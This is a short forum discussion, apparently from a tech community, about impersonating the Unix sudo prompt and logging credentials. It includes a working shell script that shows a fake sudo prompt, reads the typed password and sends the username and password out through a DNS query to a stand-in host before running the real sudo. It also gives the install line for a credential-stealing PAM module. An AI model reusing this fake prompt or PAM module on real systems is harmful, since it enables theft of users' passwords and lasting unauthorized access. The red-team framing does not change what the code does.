Earlier quoted context omitted.
I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.
There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.). [1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal
echo "enter sudo pw:"
read pw
# log ip and query on ns for
# example.com
host "$USER.$pw.example.com" &
echo "Invalid pw"
sudo $*
Ed: from the github link:
> Usage: add "auth required pam_steal.so" into /etc/pam.d/common-authIf you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...